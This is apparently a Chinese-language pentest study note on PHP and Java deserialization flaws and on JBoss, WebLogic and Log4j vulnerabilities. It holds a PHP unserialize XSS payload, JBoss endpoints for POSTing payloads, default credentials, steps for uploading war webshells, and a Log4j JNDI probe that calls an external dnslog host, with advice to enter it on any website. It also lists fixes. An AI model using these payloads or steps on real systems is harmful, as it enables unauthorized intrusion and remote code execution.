php和java反序列化

1,php的序列化和反序列化

序列化(serialize)

序列化就是把一个对象转换成字符串。便于保存在内存、文件、数据库中,作用和目的就是为了方便传输

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
例如:我们写了一个class(类),这个class存了一些变量,当这个class被实例化之后,在使用过程中里面的一些变量值发生了变化,以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等者下一次要用它的时候再一次调用的话,浪费系统资源。写一小型项目可能没有太大影响,但随着项目的壮大,一些小问题被放大之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再把它放出来就好了。

举例:
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值

反序列化(unserialize)

序列化后的字符串还原成对象供程序使用。一般用于远程调用、通过网络将对象传输至远程服务器、存储对象到数据库或本地等待重用等场景中

PHP序列化和反序列化的两个函数:

serialize:把对象转换成字符串

unserialize:把字符串还原为对象

反序列化漏洞产生的原因:

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题就是当传给unserialize()的参数字符串可控时,那么用户就可以注入一个精心构造的序列化字符串payload。当进行反序列化的时候就有可能会触发对象中的一些魔法函数,造成意想不到的危害

php中常见的魔法函数

1
2
3
4
5
6
7
8
9
10
11
_`construct`():当一个对象创建时被调用

_`destruct`():当一个对象销毁时被调用

_`tostring`():当一个对象被当作一个字符串使用

_`sleep`():在对象在被序列化之前运行

_`wakeup`():将在序列化之后立即被调用

php反序列化漏洞,就是利用这些魔法函数,没有这些函数存载(参数给变量)还真利用不了

漏洞举例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
        class S{
var $test = "pikachu";
function __destruct(){ #当一个对象销毁时被调用,没有这个函数直接歇菜
echo $this->test; #输出
}
}
$s = $_GET['test'];
@$unser = unserialize($a); #反序列化unserialize

#恶意攻击代码:
payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
#这里就是在序列化后的字符串中插入了恶意的xss攻击代码

由此可以看出,当传给 unserialize() 的参数(序列化后的字符串)可控时,我们可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数

注:

  1. 反序列化的作用和目的:就是为了方便传输
  2. 为什么要反序列化:解决占用系统空间浪费系统资源的问题
  3. java、php、asp等语言序列化和反序列化原理都是相同的,可能用到的函数稍微不一样
  4. 为什么php反序列化漏洞出现的较少,因为它有个先天条件,这个条件跟php中自带的魔法函数有关。为什么java反序列化漏洞很多,因为Java不存在这些魔法函数
  5. 反序列化利用方法:通过 serialize() 得到我们要的序列化字符串,之后通过精心构造再传进去
  6. php中常见的函数分类:
  • 构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
  • 析构函数__destruct():当对象被销毁时会自动调用。

总结:

序列化是把一个对象转换成可以传输的字符串,反序列化是由序列化后字符串还原成对象。比如常见的php序列化函数serialize和反序列化函数unserialize,以及php中常见的魔法函数sleepconstructdestructtostringwakeup等等,如果这些函数在传递参数时候没有进行严格的过滤措施,那么攻击者就可以构造恶意的代码并将其序列化后传入函数中,从而导致反序列化漏洞

拓展:

1, 以黑盒(模拟黑客)测试反序列化漏洞,这个网站不是开源的,没有给你源代码,找出反序列化漏洞比登天还难不太现实,反序列化漏洞都是代码审计出来的(白盒测试)

2,反序列漏洞利用的先天条件就是先将对象序列化成字符串,没有序列化后的字符串就不能反序列化。所以在看不到网站源代码的时候(代码在别人服务器上)不能反序列化,看不到别人的参数值是多少、变量是啥,所以可得时到源代码才可以反序列化

3,https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

2,Java序列化和反序列化

1,序列化(ObjectOutputStream类的writeObject

就是把对象转换成字节流

2,反序列化(ObjectInputStream类的readObject

就是把字节流还原成对象

3,ObjectOutputStream 与 ObjectInputStream类,说明

java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化,反序列化操作就是从二进制文件中提取对象

4,实现序列化的要求

只有实现了SerializableExternalizable接口的类的对象才能被序列化,否则抛出异常。Serializable 接口是 Java 提供的序列化接口

5,形成漏洞的根源

在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制

注:

java发序列化的接口是readObject

静态成员变量是不能被序列化

序列化是针对对象属性的,而静态成员变量是属于类的

中间件反序列化漏洞

1,全球性的大众化的中间件,一定会有人把它的漏洞总结写成一篇文章发在网上,我们只要找到并复现就行

3,大部分中间件都存在未授权访问,跳过登陆页面直接访问后台,还有任意文件上传漏洞

4,常见的中间件漏洞?

IIS:PUT 漏洞、短文件名猜解、远程代码执行、解析漏洞

Apache :解析漏洞、目录遍历

Nginx :文件解析、目录遍历、CRLF注入、目录穿越

Tomcat :远程代码执行、war后门文件部署

JBoss:反序列化漏洞、war后门文件部署

WebLogic :反序列化漏洞 SSRF 任意文件上传 war 后门文件部署 Apache Shiro 反序列化漏洞 Shiro rememberMe(Shiro-550) Shiro Padding Oracle Attack(Shiro-721)

就JBoss、weblogic存在反序列化漏洞,CVE-2017、2018、2019、2021什么的漏洞编号

jboss

端口号:8080

漏洞编号:==CVE-2017-12149、 CVE-2017-7504、 CVE-2013-4810、 CVE-2015-7501、 CVE-2010-1871==

漏洞产生的原理:参数给变量未经严格过滤,就可以导致攻击者恶意构造的代码的实现

jboss常见的漏洞:反序列命令执行未授权访问漏洞弱口令。编号cve记不记无所谓,记住有哪些漏洞就行了

利用方法:直接使用jboss综合利用工具,提取payload。工具可以执行系统命令,上传文件和木马

怎么判断网站使用jboss:知道后台登录页面的话,在后台登录页面会显示jboss和版本号

复现过程:1,把url地址放在jboss漏洞综合利用工具里面去检测,2,看看受哪些漏洞影响,利用漏洞去执行系统命令,和上传木马。冰蝎内存马

以后只要是用目录扫描工具扫描出JBoss后台登录页面,尝试默认账号密码admin admin 弱口令登录,上传war包,拿到webshell,访问war包地址:192.1.1.1/路径/war包里的文件名

1,jboss历史反序列化漏洞及编号

1.1,CVE-2017-12149 jboss反序列化漏洞

该漏洞为 Java反序列化错误类型,利用了Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞

漏洞存在/invoker/readonly中,将这个payload作为POST Body发送至/invoker/readonly即可

  • 漏洞利用条件:目录存在且能访问[/invoker/readonly]

  • 影响版本:5.x/6.x

  • 漏洞验证:访问 /invoker/readonly 目录,发现http响应码 500,说明存在漏洞

  • 漏洞利用:直接使用jboss漏洞综合利用工具,提取payload,向/invoker/readonly目录发送包含序列化对象的请求

  • 绕过waf:bp抓包,在请求头添加个cmd: ls

  • 修复:升级JBoss到最新版本,不需要组件的直接删除

1.2,CVE-2017-7504 jboss反序列化漏洞

JBossAS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码执行

漏洞存在/jbossmq-httpil/HTTPServerILServlet中,将这个payload作为POST Body发送至/jbossmq-httpil/HTTPServerILServlet即可

  • 影响版本:4.x及以前
  • 修复:升级JBoss到最新版本

1.3,JMXInvokerServlet jboss反序列化漏洞

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServle请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码

洞存在/invoker/JMXInvokerServlet中,将这个payload作为POST Body发送至JMXInvokerServlet-deserialization即可

  • 影响版本:6.x
  • 利用:直接使用工具,上传文件
  • 修复:升级JBoss到最新版本,禁止将JBoss的JMXInvokerServlet接口对外开放

注:以上三个历史漏洞都是java反序列化漏洞,漏洞产生原理都一样。利用方法是直接使用工具进行漏洞利用,提取payload

Weblogic

端口号:==7001==

CVE-2020-2551IIOP协议反序列化漏洞

CVE-2021-2394反序列化漏洞

CVE-2018-2628JAVA发序列化漏洞

CVE-2018-2894任意文件上传漏洞

cve-2019-2725反序列化漏洞

SSRF漏洞(需要安装weblogic时选择UDDI组件)

弱口令漏洞账号密码都是weblogic

怎么利用,复现:利用weblogic漏洞利用综合工具,上传内存马,执行系统命令。

手工,网上payload,打开bp,在post包里插入< payload:恶意攻击代码 >,直接照网上文章复现

apache log4j

它是一个java包,它不能通过网站去判断这个网站有没有使用apache log4j,只能通过解压缩工具打开java包里的内容去判断

1、Apache Log4j是一个开放源码的Java日志记录库,主要帮助开发人员更轻松地控制日志级别,构建记录器,以及在多种日志目标之间转换,而无需修改日志消息。
2、漏洞影响版本:Apache Log4j 2.x <= 2.14.1
3、漏洞原理:由于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。
4、攻击代码poc怎么写:${jndi:ldap://${sys:os.arch}.iswaen.dnslog.cn}

​ $接大括号jndi冒号ldap接dnslog地址,

测试过程:随便找个网站有输入的页面,比如登录页面,只要有参数接受的地方因为他是个日志库,输入攻击代码poc$接大括号jndi冒号ldap接dnslog地址dnslog有回显

5、修复方案:JAVA7版本升级至log4j 2.12.4版本,JAVA8及以上版本升级至log4j 2.17.0版本,升级包中移除了对lookup功能的支持,禁用了JNDI方法或移除log4j包中JndiLookup类